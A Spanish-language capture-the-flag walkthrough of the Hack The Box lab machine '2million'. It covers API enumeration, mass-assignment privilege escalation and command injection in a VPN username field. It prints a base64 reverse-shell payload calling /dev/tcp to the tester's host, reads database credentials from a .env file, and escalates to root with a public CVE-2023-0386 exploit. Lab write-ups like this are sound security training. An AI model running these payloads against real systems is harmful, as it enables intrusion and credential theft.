

## Reconocimiento.

IP: 10.129.229.66.

SO: Linux.

Dificultad: Fácil.

## Escaneo.

Se escanea la IP en busca de puertos TCP abiertos que puedan ser usados como punto de entrada.

```
nmap -Pn -n -sS -p- \
--min-rate 1000 \
'10.129.229.66'
```

En donde se encuentran los puertos: 22 (ssh) y 80 (http) .

## Enumeración.

Se procede a usar el navegador para poder visualizar la pagina expuesta en el puerto 80 y se obtiene el dominio 2million.htb el cual se adjunta al archivo de host. Además, en el dominio me recibe un sitio web con el título Hack The Box :: Penetration Testing Labs y una cabecera con las opciones: about , FAQ , join , commercial , labs , hall of fame y login .

Las opciones: about , FAQ , commercial , labs y hall of fame no contiene información sensible que pueda ser usada.

## Enumerando la opción join de la cabecera.

En la opción de join expuesta en la cabecera se muestra un botón con el texto Join HTB el cual al dar clic redirige al directorio /invite del dominio. Dentro del directorio se encuentra un formulario con la entrada Invite Code y un botón con el texto Sign Up . Además en la parte inferior está el texto If you are already a member click here to login el cual en la palabra here existe un enlace el cual redirige al directorio /login del dominio.

Se intenta introducir un código de invitado aleatorio y se captura el paquete con la herramienta BurpSuite en el que se obtiene la línea <script defer src="/js/inviteapi.min.js"> , por lo que revisando el archivo obtengo un script ofuscado mediante un empaquetador clásico llamado Dean Edwards Packer.

```

eval(function(p,a,c,k,e,d){
  e = function(c){
    return c.toString(36)
  };
  if(!".replace(/~/,String)){
    while(c--){
      d[c.toString(a)] = k[c]||c.toString(a)
    }
    k = [
      function(e){
        return d[e]
      }
    ];
    e = function(){
      return "\\w+"
    };
    c = 1
  };
  while(c--){
    if(k[c]){
      p = p.replace(new RegExp("\\b'+e(c)+'\\b'",'g'), k[c])
    }
  }
  return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:'\\d/e/n\\',c:1(0){3.2(0)},f:1(0){3.2(0)}})1 j()
{$.9({a:"7",5:"6",b:'\\d/e/k/l/m\\',c:1(0){3.2(0)},f:1(0)
{3.2(0)}}}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|succes
s|api/v1|invite|error|data|var|verify|inviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{})

```

Se usa la misma consola para poder descifrar el script cambiando únicamente `eval` por `console.log` en donde se obtiene el script en texto claro.

```

function verifyInviteCode(code){
  var formData = {
    "code":code
  };
  $.ajax({
    type:"POST",
    dataType:"json",
    data:formData,
    url:'/api/v1/invite/verify',
    success: function(response){
      console.log(response)
    },
    error: function(response){

```

```

        console.log(response)
    }
})
}

function makeInviteCode(){
$.ajax({
    type:"POST",
    dataType:"json",
    url:'/api/v1/invite/how/to/generate',
    success: function(response){
        console.log(response)
    },
    error: function(response){
        console.log(response)
    }
})
}

```

En este script llama la atención la función `makeInviteCode` el cual solicita al servidor las instrucciones o la generación de un nuevo código de invitación. Se usa `BurpSuite` para enviar la petición al endpoint `/api/v1/invite/how/to/generate` del dominio y se recibe una respuesta con el código `200` .

```

{
  "0":200,
  "success":1,
  "data":{
    "data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFg erdhrfg gb VncvVi1VvaivgrVtrarengr",
    "enctype":"ROT13"
  },
  "hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

```

Gracias al contenido de la respuesta se identifica que esta cifrado con el método Cesar con una rotación de trece letras, así que se usa la herramienta `CyberChef` .

In order to generate the invite code, make a POST request to `VapiVv1VinviteVgenerate`

En el que se obtiene un nuevo endpoint el cual se usa en `BurpSuite` para enviar otra petición al servidor.

```
{
  "0":200,
  "success":1,
  "data":{
    "code":"QkJYSDgtVENQVEgtS1c3U1MtU1pTVUQ=",
    "format":"encoded"
  }
}
```

El código claramente esta en Base64 .

```
echo 'QkJYSDgtVENQVEgtS1c3U1MtU1pTVUQ=' | base64 -d
```

Y por fin se obtiene el código de invitación `BBXH8-TCPTH-KW7SS-SZSUD` el cual se usa para hacer un registro dentro del sitio web.

Se usa el código `BBXH8-TCPTH-KW7SS-SZSUD` en la entrada `Invite Code` y se da clic en el botón con el texto `Sign Up` el cual redirige al directorio `/register` del dominio.

## Enumerando el directorio `/register` del dominio.

Dentro de este directorio hay un formulario con las entradas: `Invite code` , `Username` , `E-mail` , `Password` y `Confirm password` . Además de un botón con el texto `Register` .

Se procede a llenar las entradas para el registro en el sitio web con la siguiente información:

```
Invite code: BBXH8-TCPTH-KW7SS-SZSUD
Username: Test
E-mail: Test@gmail.com
Password: Test123.
Confirm password: Test123.
```

Y se procede a dar clic en el botón con el texto `Register` el cual redirige al directorio `/login` del dominio y el cual estaba como opción en las cabeceras de la pagina de inicio.

## Enumerando la opción `login` de la cabecera.

En la opción de `login` expuesta en la cabecera el cual esta alojado en el directorio `/login` del dominio. Dentro de este directorio se encuentra un formulario con las entradas `E-Mail` y `Password` , un botón con el texto `Login` y un enlace con el texto `If you don't remember your password click here` , sin embargo, al dar clic en este enlace no ocurre ninguna redirección ni acción dentro del sitio web.

Se usa la información de registro en las entradas:

E-mail: Test@gmail.com

Password: Test123.

Y se da clic en el botón con el texto `Login` el cual redirige al directorio `/home` del dominio.

## Enumerando el directorio `/home` del dominio.

En el directorio `/home` se encuentra un menú desplegable con las secciones: `Main` , `Careers` , `Rankings` , `Labs` y `Social` .

## Enumerando la sección `Labs` en el directorio `/home` del dominio.

Dentro de la sección de `Labs` se encuentran las opciones: `Access` , `Machines` y `Challenges` .

## Enumerando la opción `Access` de la sección `Labs` en el directorio `/home` del dominio.

En la opción `Access` se encuentran dos botones con el texto: `Connection Pack` y `Regenerate` .

Al dar clic en el botón con el texto `Connection Pack`

se descarga un archivo `.ovpn` , se captura esta petición con la herramienta `BurpSuite` y se obtiene que se hace la petición al endpoint `/api/v1/user/vpn/generate` , me llama la atención de que la descarga se hace con el directorio `/user` lo que da a pensar que es probable que también se pueda hacer con el directorio `/admin` , así que como ya tengo unas cookies validas con un inicio de sesión procedo a hacer una petición al endpoint `/api/v1` para poder ver que código de respuesta recibo.

```
{
  "v1":{
    "user":{
      "GET":{
        "VapiVv1":"Route List",
        "VapiVv1VinviteVhowVtoVgenerate":"Instructions on invite code generation",
        "VapiVv1VinviteVgenerate":"Generate invite code",
        "VapiVv1VinviteVverify":"Verify invite code",
        "VapiVv1VuserVauth":"Check if user is authenticated",
        "VapiVv1VuserVvpnVgenerate":"Generate a new VPN configuration",
        "VapiVv1VuserVvpnVregenerate":"Regenerate VPN configuration",
        "VapiVv1VuserVvpnVdownload":"Download OVPN file"
      },
      "POST":{
```

```

    "VapiVv1VuserVregister": "Register a new user",
    "VapiVv1VuserVlogin": "Login with existing user"
  },
  "admin": {
    "GET": {
      "VapiVv1VadminVauth": "Check if user is admin"
    },
    "POST": {
      "VapiVv1VadminVvpnVgenerate": "Generate VPN for specific user"
    },
    "PUT": {
      "VapiVv1VadminVsettingsVupdate": "Update user settings"
    }
  }
}
}
}

```

Se sabe por la respuesta que es posible manipular un usuario para pasarlo a administrador en el endpoint `/api/v1/admin/settings/update` así que se envía una petición.

```

{
  "status": "danger",
  "message": "Invalid content type."
}

```

Lo que me indica que se esta enviando un contenido invalido, así que modifiko la cabecera `Content-Type` con un valor de `application/json`.

```

{
  "status": "danger",
  "message": "Missing parameter: email"
}

```

En esta respuesta ya es claro lo que hace falta, así que solo adjunto el parametro `email:Test@gmail.com`.

```

{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

```

En esta respuesta me dice que hace falta adjuntar `is_admin:1`.

```
{
  "id":13,
  "username":"Test",
  "is_admin":1
}
```

Con esta respuesta se supone que se logro con éxito la manipulación de roles, así que solo basta con verificar enviando una petición al endpoint `/api/v1/admin/auth` .

```
{
  "message":true
}
```

De esta forma se tiene total certeza de que he conseguido ser administrador, así que ya puedo generar un archivo `.ovpn` con mayores privilegios haciendo uso del endpoint `/api/v1/admin/vpn/generate`

```
{
  "status":"danger",
  "message":"Missing parameter: username"
}
```

Al igual que anteriores peticiones, se debe adjuntar el parametro `"username":"Test"` , y se genera con éxito el archivo `.ovpn` del usuario.

## Explotación.

Debido a que la generación de este archivo `.ovpn` tiene que hacer algún proceso dentro del servidor es posible intentar hacer una inyección de comandos en el parametro, así que se envía al endpoint `/api/v1/admin/vpn/generate` el parametro `"username":"Test; sleep 30"` verificando de esta forma que el servidor es vulnerable a la inyección de comandos, así que solo basta con hacer un RCE.

```
echo "bash -i >& /dev/tcp/10.10.14.55/4444 0>&1" | base64 -w 0
```

Recibiendo como respuesta

`YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NS80NDQ0IDA+JjEK` y el cual se envía con el parametro `"username":"Test; echo`

`YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NS80NDQ0IDA+JjEK | base64 -d | bash"` , ademas, para recibir la conexión se pone a escuchar mi maquina local con la herramienta `Netcat` .

```
nc -lvnp 4444
```

Y logrando de esta forma un RCE, solo basta con estabilizar la shell y revisar los directorios del servidor.

## Postexploitación.

Una vez que se logra la shell `@2million` con el usuario `www-data` se empieza por estabilizarla.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Luego de ejecutar el comando se oprime `Ctrl+Z` .

```
stty raw -echo; fg
```

Ya que se retome de nuevo el `nc` .

```
reset
```

La terminal pregunta `Terminal type?` así que solo basta con responder `xterm-256color` . Se prueba el comando `clear` pero se recibe un error.

```
export TERM=xterm-256color  
export SHELL=bash
```

Ya con la terminal estable, se personaliza sus dimensiones para que sea acorde a mi terminal local, primero obtengo el tamaño de mi terminal.

```
stty size
```

Obteniendo como resultado `28 153` , y se usa el siguiente comando en el RCE.

```
stty rows 28 cols 153
```

Lo primero que se hace es revisar si se esta dentro de un contenedor de Docker.

```
find / -name '.dockerenv' 2>/dev/null
```



Pero no se muestra ningún resultado, así que procedo a listar los privilegios permitidos y prohibidos para el usuario actual en ese sistema.

```
sudo -l
```

Pero se me pide la contraseña del usuario la cual por el momento no poseo, así que busco si están expuestos archivos con variables de entorno.

```
find / -name ".env" 2>/dev/null
```

Y se encuentra la ruta `/var/www/html/.env` la cual se revisa con la herramienta `GNU cat`.

```
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```

Se revisa si el administrador del servidor comete el error de hacer reutilización de contraseñas.

```
su admin
```

Y usando la contraseña `SuperDuperPass123` se logra escalar privilegios hasta el usuario `admin`, se revisan los directorios y en la ruta `var/mail/` se encuentra un archivo llamado `admin` el cual contiene un correo electrónico.

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Este correo da una pista de la mejor forma de escalar privilegios, así que primero se revisa cual es la versión del kernel.

```
uname -a
```

En donde se obtiene `Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux` , en el cual se procede a buscar vulnerabilidades publicas.

### 🚩 CVE-2023-0386

**Descripción:** Se ha detectado una vulnerabilidad en el núcleo de Linux, concretamente en el subsistema OverlayFS del núcleo, que permite el acceso no autorizado a la ejecución de archivos setuid con capacidades cuando un usuario copia un archivo con capacidades desde un montaje nosuid a otro montaje. Este error de asignación de UID permite a un usuario local elevar sus privilegios en el sistema.

**Severidad NIST:** 7.8 ALTO.

**Severidad CNA:** 7.8 ALTO.

#### Enumeración de debilidades:

- **CWE-282:** Gestión Inadecuada de la Propiedad.

**Fuente:** [NVD - CVE-2023-0386](#)

Se busca un PoC en los repositorios de GitHub y se encuentra

`https://github.com/DataDog/security-labs-pocs/blob/main/proof-of-concept-exploits/overlayfs-cve-2023-0386` así que procedo a pasar el código del archivo `Makefile` y `poc.c` dentro de la shell `@2million` en el directorio `/tmp` .

```
make
```

El cual genera un archivo `poc` y se ejecuta para obtener el usuario root.

```
./poc
```

Logrando de esta forma una escalada de privilegios hasta el máximo rol de la maquina. Ahora se procede a buscar las banderas dentro del servidor para terminal de vulnerar completamente la maquina.

```
find / -name "user.txt" 2>/dev/null
```

En el que se encuentra la ruta `/home/admin/user.txt` y al revisarla se obtiene

`b082ed6fbdc371650447045d9ecd4d7a` de igual forma se hace con la bandera del usuario root.

```
find / -name "root.txt" 2>/dev/null
```

En donde se obtiene la ruta `/root/root.txt` y al revisarla se obtiene `d25f29016f794918b0c7f379559c097c`. De esta forma se da como terminada la maquina logrando éxito una vulneración de nivel critico.

## Conclusiones.

Se escanean los puertos con Nmap y se obtienen los puertos TCP 80 y 22, se revisa el sitio web alojado en el puerto 80 y se enumera la información obtenida, se encuentra en el directorio `/join` un script ofuscado mediante un empaquetador clásico llamado Dean Edwards Packer el cual con ayuda de la consola se logra convertir en texto plano y en el que se expone un función critica para generar códigos de invitación en base64 haciendo uso del endpoint `/api/v1/invite/generate`. El código de invitación permite hacer el registro con un nuevo usuario dentro del sitio web

en el cual se permite descargar archivos `.ovpn` y exponiendo el endpoint `/api/v1/user/vpn/generate` mostrando la posibilidad de poder enumerar mas endpoints mandando una petición a `/api/v1` en el cual se obtiene mas información critica que permite la manipulación de roles y permitiendo poder convertir el usuario recién creado en administrador por medio de peticiones al endpoint `/api/v1/admin/settings/update`, ademas, gracias a la enumeración de endpoints se encuentra la ruta `/api/v1/admin/vpn/generate` el cual hacia uso del parametro "user" que tenia la vulnerabilidad de inyección de comandos por la interacción que hacia con el servidor y permitiendo un RCE.

Una vez dentro del servidor con una shell se encuentran credenciales expuestas del usuario `admin` en archivos de variables de entorno y debido a que se hace una reutilización de credenciales es posible escalar privilegios, ademas, se hallo un correo electrónico dentro de la ruta `var/mail/admin` el cual exponía las vulnerabilidades del kernel y que buscando por internet se obtiene la vulnerabilidad publica CVE-2023-0386 la cual es explotada con ayuda de un PoC y logrando de esta forma exponer completamente la información de la maquina.